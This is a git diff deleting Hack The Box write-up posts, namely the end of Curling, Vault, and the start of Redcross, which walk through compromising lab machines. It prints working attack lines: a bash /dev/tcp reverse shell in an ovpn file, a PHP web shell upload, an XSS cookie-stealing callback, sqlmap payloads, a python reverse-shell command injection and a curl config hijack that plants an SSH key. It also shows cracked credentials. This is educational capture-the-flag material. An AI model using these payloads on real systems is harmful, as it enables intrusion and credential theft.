--color"; done -root 9225 0.0 0.0 4628 784 ? Ss 20:44 0:00 /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report -root 9227 0.0 0.4 105360 9076 ? S 20:44 0:00 curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report -root 9225 0.0 0.0 4628 784 ? Ss 20:44 0:00 /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report -root 9227 0.0 0.4 105360 9076 ? S 20:44 0:00 curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report -root 9225 0.0 0.0 4628 784 ? Ss 20:44 0:00 /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report -root 9227 0.0 0.4 105360 9076 ? S 20:44 0:00 curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report -root 9225 0.0 0.0 4628 784 ? Ss 20:44 0:00 /bin/sh -c curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report -root 9227 0.0 0.4 105360 9076 ? S 20:44 0:00 curl -K /home/floris/admin-area/input -o /home/floris/admin-area/report -``` - -As suspected, a cronjob executes curl using a `input` config file which we can write to. - -We will change the file to fetch our SSH public key and save it into root's authorized_keys file: - -``` -floris@curling:~/admin-area$ echo -ne 'output = "/root/.ssh/authorized_keys"\nurl = "http://10.10.14.23/key.txt"\n' > input -floris@curling:~/admin-area$ cat input -output = "/root/.ssh/authorized_keys" -url = "http://10.10.14.23/key.txt" -``` - -When the cronjob runs, it fetches our public key: - -``` -root@ragingunicorn:~/htb/curling# python -m SimpleHTTPServer 80 -Serving HTTP on 0.0.0.0 port 80 ... -10.10.10.150 - - [27/Oct/2018 16:52:56] "GET /key.txt HTTP/1.1" 200 - -``` - -We can now SSH in as root: - -``` -root@ragingunicorn:~# ssh root@curling.htb -Welcome to Ubuntu 18.04 LTS (GNU/Linux 4.15.0-22-generic x86_64) - - * Documentation: https://help.ubuntu.com - * Management: https://landscape.canonical.com - * Support: https://ubuntu.com/advantage - - System information as of Sat Oct 27 20:47:15 UTC 2018 - - System load: 0.13 Processes: 181 - Usage of /: 46.3% of 9.78GB Users logged in: 1 - Memory usage: 22% IP address for ens33: 10.10.10.150 - Swap usage: 0% - - => There is 1 zombie process. - - -0 packages can be updated. -0 updates are security updates. - -Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings - - -Last login: Tue Sep 25 21:56:22 2018 -root@curling:~# cat root.txt -82c198... -``` \ No newline at end of file diff --git a/_posts/2019-04-06-htb-writeup-vault.md b/_posts/2019-04-06-htb-writeup-vault.md deleted file mode 100644 index fd27f1b941..0000000000 --- a/_posts/2019-04-06-htb-writeup-vault.md +++ /dev/null @@ -1,397 +0,0 @@ ---- -layout: single -title: Vault - Hack The Box -excerpt: This is the writeup for Vault, a machine with pivoting across different network segments. -date: 2019-04-06 -classes: wide -header: - teaser: /assets/images/htb-writeup-vault/vault_logo.png -categories: - - hackthebox - - infosec -tags: - - linux - - php - - openvpn - - firewall - - pivoting - - gpg ---- - -![](/assets/images/htb-writeup-vault/vault_logo.png) - -## Quick summary - -- An upload page allows us to get RCE by uploading a PHP file with the `php5` file extension -- We can find the SSH credentials in a plaintext file in Dave's directory -- After getting a foothold on the box, we find another network segment with another machine on it -- The machine has OpenVPN installed and already has a backdoored `ovpn` configuration file that let us get a reverse shell there -- There's yet another network segment and host that we discover by looking at the routing table and host file -- The next target is protected by a firewall but the firewall allows us to connect through it by changing the source port of our TCP session -- After logging in to the last box we find a gpg encrypted file which we can decrypt on the host OS since we have the private key and the password - -## Detailed steps - -### Nmap - -Port 22 and 80 are open: - -``` -# Nmap 7.70 scan initiated Sat Nov 3 23:09:53 2018 as: nmap -F -sC -sV -oA vault 10.10.10.109 -Nmap scan report for vault.htb (10.10.10.109) -Host is up (0.023s latency). -Not shown: 98 closed ports -PORT STATE SERVICE VERSION -22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) -| ssh-hostkey: -| 2048 a6:9d:0f:7d:73:75:bb:a8:94:0a:b7:e3:fe:1f:24:f4 (RSA) -| 256 2c:7c:34:eb:3a:eb:04:03:ac:48:28:54:09:74:3d:27 (ECDSA) -|_ 256 98:42:5f:ad:87:22:92:6d:72:e6:66:6c:82:c1:09:83 (ED25519) -80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) -|_http-server-header: Apache/2.4.18 (Ubuntu) -|_http-title: Site doesn't have a title (text/html; charset=UTF-8). -Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel -``` - -### Web enumeration - -There's not much on the main page except a mention about `Sparklays` - -![](/assets/images/htb-writeup-vault/web.png) - -A gobuster scan with `big.txt` in the root directory reveals nothing but if we start with `/sparklays` we find a few directories: - -``` -# gobuster -q -t 50 -w big.txt -u http://vault.htb -s 200,204,301,302,307 - -# gobuster -q -t 50 -w big.txt -u http://vault.htb/sparklays -s 200,204,301,302,307 -/design (Status: 301) - -# gobuster -q -t 50 -w big.txt -u http://vault.htb/sparklays/design -s 200,204,301,302,307 -/uploads (Status: 301) -``` - -Further scanning with `raft-small-words` and `.html` extension reveals `design.html`: - -``` -# gobuster -q -t 50 -w raft-small-words.txt -u http://vault.htb/sparklays/design -x php,html -s 200,204,301,302,307 -/uploads (Status: 301) -/design.html (Status: 200) -``` - -![](/assets/images/htb-writeup-vault/design.png) - -The link goes to an upload page. Upload pages are interesting because if we can upload a PHP file then we can get RCE on the target machine. - -![](/assets/images/htb-writeup-vault/changelogo.png) - -I used a simple PHP command shell: - -```php -
-
-
-``` - -When we try to upload a simple PHP command shell we get a `sorry that file type is not allowed` error message. - -After trying a few different file types, I noticed we can use the `.php5` file extension and we get a `The file was uploaded successfully` message. - -We now have RCE: - -![](/assets/images/htb-writeup-vault/rce.png) - -Found a couple of interesting files in Dave's desktop folder: - -**http://vault.htb/sparklays/design/uploads/shell.php5?cmd=ls%20-l%20/home/dave/Desktop** -``` -total 12 --rw-rw-r-- 1 alex alex 74 Jul 17 10:30 Servers --rw-rw-r-- 1 alex alex 14 Jul 17 10:31 key --rw-rw-r-- 1 alex alex 20 Jul 17 10:31 ssh -``` - -The `ssh` file contains plaintext credentials: - -**http://vault.htb/sparklays/design/uploads/shell.php5?cmd=cat%20/home/dave/Desktop/ssh** -``` -dave -Dav3therav3123 -``` - -### Shell access - -Using the SSH credentials we found in Dave's directory we can now log in: - -``` -root@ragingunicorn:~/hackthebox/Machines/Vault# ssh dave@10.10.10.109 -dave@10.10.10.109's password: - -Last login: Sat Nov 3 19:59:05 2018 from 10.10.15.233 -dave@ubuntu:~$ -``` - -The `~/Desktop` directory contains a couple of interesting files: - -``` -dave@ubuntu:~/Desktop$ ls -l -total 12 --rw-rw-r-- 1 alex alex 14 Jul 17 10:31 key --rw-rw-r-- 1 alex alex 74 Jul 17 10:30 Servers --rw-rw-r-- 1 alex alex 20 Jul 17 10:31 ssh - -dave@ubuntu:~/Desktop$ cat key -itscominghome - -dave@ubuntu:~/Desktop$ cat Servers -DNS + Configurator - 192.168.122.4 -Firewall - 192.168.122.5 -The Vault - x - -dave@ubuntu:~/Desktop$ cat ssh -dave -Dav3therav3123 -``` - -The user also has a gpg keyring: - -``` -dave@ubuntu:~/.gnupg$ ls -l -total 28 -drwx------ 2 dave dave 4096 Jul 17 2018 private-keys-v1.d --rw------- 1 dave dave 2205 Jul 24 2018 pubring.gpg --rw------- 1 dave dave 2205 Jul 24 2018 pubring.gpg~ --rw------- 1 dave dave 600 Sep 3 2018 random_seed --rw------- 1 dave dave 4879 Jul 24 2018 secring.gpg --rw------- 1 dave dave 1280 Jul 24 2018 trustdb.gpg -``` - -Based on the `Servers` file it seems there are other VMs or containers running. We can confirm this also by checking the network interfaces (there's a virtual bridge interface with the same subnet mentionned in the `Server` file: - -``` -dave@ubuntu:~/Desktop$ ifconfig -ens33 Link encap:Ethernet HWaddr 00:50:56:b2:8d:92 - inet addr:10.10.10.109 Bcast:10.10.10.255 Mask:255.255.255.0 - inet6 addr: fe80::250:56ff:feb2:8d92/64 Scope:Link - inet6 addr: dead:beef::250:56ff:feb2:8d92/64 Scope:Global - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 - RX packets:484701 errors:0 dropped:0 overruns:0 frame:0 - TX packets:372962 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:1000 - RX bytes:61423226 (61.4 MB) TX bytes:123066398 (123.0 MB) - -virbr0 Link encap:Ethernet HWaddr fe:54:00:17:ab:49 - inet addr:192.168.122.1 Bcast:192.168.122.255 Mask:255.255.255.0 - UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 - RX packets:34 errors:0 dropped:0 overruns:0 frame:0 - TX packets:8 errors:0 dropped:0 overruns:0 carrier:0 - collisions:0 txqueuelen:1000 - RX bytes:2296 (2.2 KB) TX bytes:731 (731.0 B) -``` - -We can do a poor man's port scan using netcat and find the host `192.168.122.4` with two ports open: - -``` -dave@ubuntu:~/Desktop$ nc -nv 192.168.122.4 -z 1-1000 2>&1 | grep -v failed -Connection to 192.168.122.4 22 port [tcp/*] succeeded! -Connection to 192.168.122.4 80 port [tcp/*] succeeded! -``` - -We'll setup SSH port forwarding so we can get to the 2nd host: - -``` -root@ragingunicorn:~/hackthebox/Machines/Vault# ssh dave@10.10.10.109 -L 80:192.168.122.4:80 -``` - -![](/assets/images/htb-writeup-vault/dnsserver.png) - -`dns-config.php` is an invalid link (404). - -The 2nd link brings us to a VPN configuration page where we can update an ovpn file. - -![](/assets/images/htb-writeup-vault/vpnconfig.png) - -With gobuster, we find additional information in `/notes`: - -``` -# gobuster -q -t 50 -w big.txt -u http://127.0.0.1 -s 200,204,301,302,307 -/notes (Status: 200) -``` - -![](/assets/images/htb-writeup-vault/notes.png) - -We can grab `http://127.0.0.1/123.ovpn`: - -``` -remote 192.168.122.1 -dev tun -nobind -script-security 2 -up "/bin/bash -c 'bash -i >& /dev/tcp/192.168.122.1/2323 0>&1'" -``` - -And `http://127.0.0.1/script.sh`: - -``` -#!/bin/bash -sudo openvpn 123.ovpn -``` - -So it seems that the `123.ovpn` file contains a reverse shell payload. - -We can just spawn a netcat on the box and trigger the `Test VPN` function to get a shell: - -``` -dave@ubuntu:~$ nc -lvnp 2323 -Listening on [0.0.0.0] (family 0, port 2323) -Connection from [192.168.122.4] port 2323 [tcp/*] accepted (family 2, sport 60596) -bash: cannot set terminal process group (1131): Inappropriate ioctl for device -bash: no job control in this shell -root@DNS:/var/www/html# id;hostname -id;hostname -uid=0(root) gid=0(root) groups=0(root) -DNS -root@DNS:/var/www/html# -``` - -User flag found in Dave's directory: - -``` -root@DNS:/home/dave# cat user.txt -cat user.txt -a4947... -``` - -There's also SSH credentials in there: - -``` -root@DNS:/home/dave# cat ssh -cat ssh -dave -dav3gerous567 -``` - -### Priv Esc - -In the web directories, there's a file that reveals two additional network segments: -- 192.168.1.0/24 -- 192.168.5.0/24 - -``` -root@DNS:/var/www/DNS# ls -la -total 20 -drwxrwxr-x 3 root root 4096 Jul 17 12:46 . -drwxr-xr-x 4 root root 4096 Jul 17 12:47 .. -drwxrwxr-x 2 root root 4096 Jul 17 10:34 desktop --rw-rw-r-- 1 root root 214 Jul 17 10:37 interfaces --rw-rw-r-- 1 root root 27 Jul 17 10:35 visudo - -root@DNS:/var/www/DNS# cat visudo -www-data ALL=NOPASSWD: ALL - -root@DNS:/var/www/DNS# cat interfaces -auto ens3 -iface ens3 inet static -address 192.168.122.4 -netmask 255.255.255.0 -up route add -net 192.168.5.0 netmask 255.255.255.0 gw 192.168.122.5 -up route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.28 -``` - -There's a route in the routing table pointing to the firewall: - -``` -dave@DNS:~$ netstat -rn -Kernel IP routing table -Destination Gateway Genmask Flags MSS Window irtt Iface -192.168.5.0 192.168.122.5 255.255.255.0 UG 0 0 0 ens3 -192.168.122.0 0.0.0.0 255.255.255.0 U 0 0 0 ens3 -``` - -In the host file we can also find a reference to our next target: 192.168.5.2 - -``` -root@DNS:/home/dave# cat /etc/hosts -cat /etc/hosts -127.0.0.1 localhost -127.0.1.1 DNS -192.168.5.2 Vault -``` - -So, we the network topology looks like this: - -![](/assets/images/htb-writeup-vault/network.png) - -This network is protected by a firewall, as shown earlier in the `Servers` file we found. Nmap is already installed on the DNS VM so we can use it to scan `192.168.5.2`. - -``` -root@DNS:~# nmap -P0 -p 1-10000 -T5 192.168.5.2 - -Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-04 03:56 GMT -mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers -Nmap scan report for Vault (192.168.5.2) -Host is up (0.0019s latency). -Not shown: 9998 filtered ports -PORT STATE SERVICE -53/tcp closed domain -4444/tcp closed krb524 - -Nmap done: 1 IP address (1 host up) scanned in 243.36 seconds -``` - -By using the 4444 as a source port we can bypass the firewall and find another open port: - -``` -root@DNS:~# nmap -g 4444 -sS -P0 -p 1-1000 192.168.5.2 - -Starting Nmap 7.01 ( https://nmap.org ) at 2018-11-04 04:16 GMT -mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers -Nmap scan report for Vault (192.168.5.2) -Host is up (0.0023s latency). -Not shown: 999 closed ports -PORT STATE SERVICE -987/tcp open unknown - -Nmap done: 1 IP address (1 host up) scanned in 3.84 seconds -``` - -We'll need to SSH in by changing the source port of the TCP socket. To do that we can spawn a ncat listener that redirects to port 987 while changing the source port. Then we just SSH to ourselves on the ncat listening port. - -``` -root@DNS:~# ncat -l 2222 --sh-exec "ncat 192.168.5.2 987 -p 4444" -``` - -``` -root@DNS:~# ssh -p 2222 dave@127.0.0.1 (password = dav3gerous567) - -Last login: Mon Sep 3 16:48:00 2018 -dave@vault:~$ id -uid=1001(dave) gid=1001(dave) groups=1001(dave) - -vault:~$ ls -root.txt.gpg -``` - -The only thing interesting is the `root.txt.gpg` - -We can download this back to the host OS and decrypt it with the `itscominghome` key we found earlier: - -``` -root@DNS:/var/www/html# ncat -l 2222 --sh-exec "ncat 192.168.5.2 987 -p 4444" - -dave@ubuntu:~$ scp -P 2222 dave@192.168.122.4:~/root.txt.gpg . -dave@192.168.122.4's password: -root.txt.gpg 100% 629 0.6KB/s 00:00 -``` - -``` -dave@ubuntu:~$ gpg -d root.txt.gpg - -You need a passphrase to unlock the secret key for -user: "david " -4096-bit RSA key, ID D1EB1F03, created 2018-07-24 (main key ID 0FDFBFE4) - -gpg: encrypted with 4096-bit RSA key, ID D1EB1F03, created 2018-07-24 - "david " -ca468... -``` \ No newline at end of file diff --git a/_posts/2019-04-13-htb-writeup-redcross.md b/_posts/2019-04-13-htb-writeup-redcross.md deleted file mode 100644 index a814760616..0000000000 --- a/_posts/2019-04-13-htb-writeup-redcross.md +++ /dev/null @@ -1,647 +0,0 @@ ---- -layout: single -title: Redcross - Hack The Box -excerpt: "Redcross has a bit of everything: Cross-Site Scripting, a little bit of SQL injection, reviewing C source code to find a command injection vulnerability, light exploit modification and enumeration." -date: 2019-04-13 -classes: wide -header: - teaser: /assets/images/htb-writeup-redcross/redcross_logo.png -categories: - - hackthebox - - infosec -tags: - - linux - - xss - - sqli - - command injection - - pgsql - - cve - - nss ---- - -![](/assets/images/htb-writeup-redcross/redcross_logo.png) - -Redcross has a bit of everything: Cross-Site Scripting, a little bit of SQL injection, reviewing C source code to find a command injection vulnerability, light exploit modification and enumeration. - -## Quick summary - -- XSS on contact form to get admin cookie -- SQLi to get user creds (rabbit hole, credentials are not useful) -- Find admin.redcross.htb sub-domain page -- Log in to admin page using admin session cookie we stole with XSS -- Create a shell account, log in to restricted shell, get source code of binary -- Command injection in firewall control module, get reverse shell as www-data -- Locate Haraka installation, use and modify exploit from exploit-db, gain shell as user penelope -- Get DB connection string from /etc/nss-pgsql.conf, create new user with GID 0 -- Read /etc/nss-pgsql-root.conf, locate new DB connection string -- Create new user user with UID and GID 0, su to new user and gain root access - -## Tools/Exploits/CVEs used - -- [Haraka < 2.8.9 - Remote Command Execution](https://www.exploit-db.com/exploits/41162/) - -### Portscan - -Only SSH and web ports are open: - -``` -root@ragingunicorn:~# nmap -F 10.10.10.113 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-10 14:19 EST -Nmap scan report for 10.10.10.113 -Host is up (0.019s latency). -Not shown: 97 filtered ports -PORT STATE SERVICE -22/tcp open ssh -80/tcp open http -443/tcp open https -``` - -### Intra webpage - -[http://redcross.htb](http://redcross.htb) redirects to [https://intra.redcross.htb/?page=login](https://intra.redcross.htb/?page=login) so we need to add that to our local hostfile. - -The main page contains a simple login form: - -![](/assets/images/htb-writeup-redcross/redcross_login.png) - -At first glance, the login form doesn't appear to be vulnerable to SQL injections but after trying a few user/password combinations, we are able to log in with the `guest/guest` credentials and we see the following message: - -![](/assets/images/htb-writeup-redcross/redcross_guest.png) - -So we know there's at least two users: `admin` and `guest`. - -Because this is a messaging application, we can assume that admin will be checking messages periodically so we will try to get the admin session cookie with an XSS. Back on the main page, there is a contact form we can use to send messages to the administrator. - -![](/assets/images/htb-writeup-redcross/redcross_contact.png) - -The first two fields `subject` and `body` don't appear to be vulnerable to XSS because the input is filtered. We get the following error message when we try to inject stuff like `` - -After a minute or so, we can see an incoming HTTP request made to our webserver, containg the admin session cookie: - -``` -root@ragingunicorn:~# python -m SimpleHTTPServer 80 -Serving HTTP on 0.0.0.0 port 80 ... -10.10.10.113 - - [11/Nov/2018 12:00:47] code 404, message File not found -10.10.10.113 - - [11/Nov/2018 12:00:47] "GET /q?=PHPSESSID=8e2u3570ceoa9vk2vofvgnibv3;%20LANG=EN_US;%20SINCE=1541955270;%20LIMIT=10;%20DOMAIN=admin HTTP/1.1" 404 - -``` - -Using Firefox's web developer tools, we can simply change the cookies and add all four values into our session, then hit refresh on the main page to log in as admin. - -![](/assets/images/htb-writeup-redcross/redcross_admincookie.png) - -### SQL injection on the web messaging app - -Based on the messages we see, we find the following users created in the database/system: -- admin -- penelope -- charles -- guest - -Two parameters are vulnerable to SQL injections: - -1. `o` parameter in `GET /?o=2&page=app` - -Example: - -``` -GET /?o=2'&page=app HTTP/1.1 - -DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '1' or dest like '2'') LIMIT 10' at line 1 -``` - -2. `LIMIT` cookie in `GET /?o=2&page=app` - -Example: - -``` -Cookie: domain=admin; lang=EN_US; PHPSESSID=8e2u3570ceoa9vk2vofvgnibv3; LIMIT=10' - -DEBUG INFO: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''' at line 1 -``` - -Our best bet is to try to exploit the `o` parameter as exploiting the `LIMIT` cookie will be more difficult since we can't do `UNION SELECT` after a `LIMIT` statement. We might be able to do something with `PROCEDURE ANALYSE` but since the box is rated medium/hard, I didn't think this was going to be it. - -The first thing we notice with sqlmap is it kills the webserver pretty quickly, so I assumed there is some kind of WAF rate-limiting the connections to the server. If we wait a bit, we are able to access the server again. - -To use sqlmap, we will need to change the `delay` parameter to 1 second. It takes a long time but sqlmap eventually find the injection point: - -``` -root@ragingunicorn:~# sqlmap -r login.req --risk=3 -p o --dbms=mysql --random-agent --delay=1 --technique=UE -... -[13:00:14] [INFO] parsing HTTP request from 'login.req' -[13:00:14] [INFO] fetched random HTTP User-Agent header value 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.02' from file '/usr/share/sqlmap/txt/user-agents.txt' -[13:00:14] [INFO] testing connection to the target URL -sqlmap got a 301 redirect to 'https://intra.redcross.htb/?o=2&page=app'. Do you want to follow? [Y/n] y -[13:00:17] [INFO] heuristic (basic) test shows that GET parameter 'o' might be injectable (possible DBMS: 'MySQL') -[13:00:18] [INFO] heuristic (XSS) test shows that GET parameter 'o' might be vulnerable to cross-site scripting (XSS) attacks -[13:00:18] [INFO] testing for SQL injection on GET parameter 'o' -for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) value? [Y/n] -[13:00:19] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' -[13:00:20] [WARNING] reflective value(s) found and filtering out -[13:01:17] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' -[13:02:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' -[13:03:11] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' -[13:04:08] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' -[13:05:04] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' -[13:06:01] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' -[13:06:20] [INFO] GET parameter 'o' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable -[13:06:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' -[13:06:20] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' -[13:06:20] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found -[13:06:42] [INFO] target URL appears to be UNION injectable with 4 columns -injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] -[14:12:39] [INFO] testing 'MySQL UNION query (63) - 21 to 40 columns' -[14:13:03] [INFO] testing 'MySQL UNION query (63) - 41 to 60 columns' -[14:13:28] [INFO] testing 'MySQL UNION query (63) - 61 to 80 columns' -[14:13:53] [INFO] testing 'MySQL UNION query (63) - 81 to 100 columns' -[14:14:19] [WARNING] parameter length constraining mechanism detected (e.g. Suhosin patch). Potential problems in enumeration phase can be expected -GET parameter 'o' is vulnerable. Do you want to keep testing the others (if any)? [y/N] -sqlmap identified the following injection point(s) with a total of 469 HTTP(s) requests: ---- -Parameter: o (GET) - Type: error-based - Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) - Payload: o=2') AND (SELECT 6000 FROM(SELECT COUNT(*),CONCAT(0x71717a7671,(SELECT (ELT(6000=6000,1))),0x716a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- scxH&page=app ---- -[14:33:52] [INFO] the back-end DBMS is MySQL -web server operating system: Linux Debian 9.0 (stretch) -web application technology: Apache 2.4.25 -back-end DBMS: MySQL >= 5.0 -[14:33:52] [INFO] fetched data logged to text files under '/root/.sqlmap/output/intra.redcross.htb' - -[*] shutting down at 14:33:52 -``` - -Listing databases: `sqlmap -r login.req --risk=3 -p o --dbms=mysql --random-agent --delay=1.0 --technique=UE -T users --dbs` - -``` -[14:38:26] [INFO] used SQL query returns 2 entries -[14:38:27] [INFO] retrieved: information_schema -[14:38:28] [INFO] retrieved: redcross -available databases [2]: -[*] information_schema -[*] redcross -``` - -Listing tables from `redcross` DB: `sqlmap -r login.req --risk=3 -p o --dbms=mysql --random-agent --delay=1.0 --technique=UE -D redcross --tables` - -``` -[14:38:41] [INFO] retrieved: messages -[14:38:42] [INFO] retrieved: requests -[14:38:44] [INFO] retrieved: users -Database: redcross -[3 tables] -+----------+ -| messages | -| requests | -| users | -+----------+ -``` - -Dumping list of users: `sqlmap -r login.req --risk=3 -p o --dbms=mysql --random-agent --delay=1.0 --technique=UE -D redcross -T users --dump` - -``` -Database: redcross -Table: users -[5 entries] -+----+------+------------------------------+----------+--------------------------------------------------------------+ -| id | role | mail | username | password | -+----+------+------------------------------+----------+--------------------------------------------------------------+ -| 1 | 0 | admin@redcross.htb | admin | $2y$10$z/d5GiwZuFqjY1jRiKIPzuPXKt0SthLOyU438ajqRBtrb7ZADpwq. | -| 2 | 1 | penelope@redcross.htb | penelope | $2y$10$tY9Y955kyFB37GnW4xrC0.J.FzmkrQhxD..vKCQICvwOEgwfxqgAS | -| 3 | 1 | charles@redcross.htb | charles | $2y$10$bj5Qh0AbUM5wHeu/lTfjg.xPxjRQkqU6T8cs683Eus/Y89GHs.G7i | -| 4 | 100 | tricia.wanderloo@contoso.com | tricia | $2y$10$Dnv/b2ZBca2O4cp0fsBbjeQ/0HnhvJ7WrC/ZN3K7QKqTa9SSKP6r. | -| 5 | 1000 | non@available | guest | $2y$10$U16O2Ylt/uFtzlVbDIzJ8us9ts8f9ITWoPAWcUfK585sZue03YBAi | -+----+------+------------------------------+----------+--------------------------------------------------------------+ -``` - -The password are stored with the bcrypt password hashing function, which is very slow to brute force. After letting hashcat (`hashcat -a 0 -m 3200`) run for some time I was able to recover the following hashes: - -- guest / guest -- penelope / alexx -- charles / cookiemonster - -None of them work to log in with SSH but we are able to see a few additional messages when logging in with the web messaging application. - -> Please could you check the admin webpanel? idk what happens but when I'm checking the messages, alerts popping everywhere!! Maybe a virus? - -> Hey, my chief contacted me complaining about some problem in the admin webapp. I thought that you reinforced security on it... Alerts everywhere!! - -That may be a hint there is another hidden page/sub-domain... - -### Admin web page - -There's another host `admin.redcross.htb` that displays a totally different application: - -![](/assets/images/htb-writeup-redcross/redcross_adminpage_login.png) - -The same cookie we stole from the admin can be used here to log in: - -![](/assets/images/htb-writeup-redcross/redcross_adminpage_cookie.png) - -Under the user management menu, we can see and add users to the system: - -![](/assets/images/htb-writeup-redcross/usermgmt.png) - -![](/assets/images/htb-writeup-redcross/newuser.png) - -We can SSH with the new user we created: - -```console -root@ragingunicorn:~# ssh snowscan@10.10.10.113 -snowscan@10.10.10.113's password: -Linux redcross 4.9.0-6-amd64 #1 SMP Debian 4.9.88-1+deb9u1 (2018-05-07) x86_64 - -The programs included with the Debian GNU/Linux system are free software; -the exact distribution terms for each program are described in the -individual files in /usr/share/doc/*/copyright. - -Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent -permitted by applicable law. -$ ls -bin dev etc home lib lib64 root usr -$ id -uid=2020 gid=1001(associates) groups=1001(associates) -``` - -This is some kind of chroot jail, there's not much we can do here. However we do find a single C source file: `iptctl.c` - -``` -$ pwd -/home/public/src -$ cat iptctl.c -/* - * Small utility to manage iptables, easily executable from admin.redcross.htb - * v0.1 - allow and restrict mode - * v0.3 - added check method and interactive mode (still testing!) - */ -... -``` - -The file contains the program code that is called by the firewall management application on the admin page: - -![](/assets/images/htb-writeup-redcross/firewall_control.png) - -Whenever we add/delete an IP from the firewall ACL's, the PHP code does a system() call to run the `iptctl` application and make changes to the firewall rules. If we add a semi-colon in the `id` parameter we are able to inject commands and gain code execution. - -Example payload like the following: `ip=1;id&action=deny` - -``` -Usage: /opt/iptctl/iptctl allow|restrict|show IP -uid=33(www-data) gid=33(www-data) groups=33(www-data) -uid=33(www-data) gid=33(www-data) groups=33(www-data) -``` - -Since we now have RCE, we can use a standard python reverse shell command to get shell on the system. - -Payload: `ip=1;python+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("10.10.14.23",4444))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3b+os.dup2(s.fileno(),2)%3bp%3dsubprocess.call(["/bin/sh","-i"])%3b'&action=deny` - -And we get a shell! - -```console -root@ragingunicorn:~/hackthebox/Machines/Redcross# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.113] 51712 -/bin/sh: 0: can't access tty; job control turned off -$ id -uid=33(www-data) gid=33(www-data) groups=33(www-data) -$ hostname -redcross -``` - -```console -www-data@redcross:/home/penelope$ ls -l -ls -l -total 8 -drwxrwx--- 6 penelope mailadm 4096 Jun 7 17:59 haraka --rw-r----- 1 root penelope 33 Jun 7 18:18 user.txt -www-data@redcross:/home/penelope$ cat user.txt -cat user.txt -cat: user.txt: Permission denied -``` - -We still can't read `user.txt` since it's owned by `penelope`... Gotta try harder I guess. - -### Priv esc to penelope - -Penelope's home directory contains the `haraka` directory. Haraka is an SMTP email server written in Node.js and contains at least one vulnerability according to Exploit-DB: - -``` ------------------------------------------ -Haraka < 2.8.9 - Remote Command Execution -/linux/remote/41162.py ------------------------------------------ -Shellcodes: No Result -``` - -The server is running but doesn't appear to be listening on port 25: - -```console -www-data@redcross:/home/penelope$ ps waux | grep haraka -ps waux | grep haraka -penelope 1199 0.0 1.9 994608 20068 ? Ssl 09:47 0:02 node /usr/bin/haraka -c /home/penelope/haraka -``` - -```console -www-data@redcross:/home/penelope$ telnet 127.0.0.1 25 -telnet 127.0.0.1 25 -Trying 127.0.0.1... -telnet: Unable to connect to remote host: Connection refused -www-data@redcross:/home/penelope$ netstat -panut -netstat -panut -bash: netstat: command not found -``` - -Netstat is not installed so I went back to the firewall control page added a whitelist entry for my IP address and scanned the box again with nmap: - -```console -root@ragingunicorn:~# nmap -p- 10.10.10.113 -Starting Nmap 7.70 ( https://nmap.org ) at 2018-11-11 15:18 EST -Nmap scan report for intra.redcross.htb (10.10.10.113) -Host is up (0.018s latency). -Not shown: 65529 closed ports -PORT STATE SERVICE -21/tcp open ftp -22/tcp open ssh -80/tcp open http -443/tcp open https -1025/tcp open NFS-or-IIS -5432/tcp open postgresql -``` - -1025 looks interesting but we can't connect to it with telnet: - -```console -root@ragingunicorn:~# telnet 10.10.10.113 25 -Trying 10.10.10.113... -telnet: Unable to connect to remote host: Connection refused -``` - -We can connect locally though: - -```console -root@ragingunicorn:~# nc -lvnp 4444 -listening on [any] 4444 ... -connect to [10.10.14.23] from (UNKNOWN) [10.10.10.113] 52064 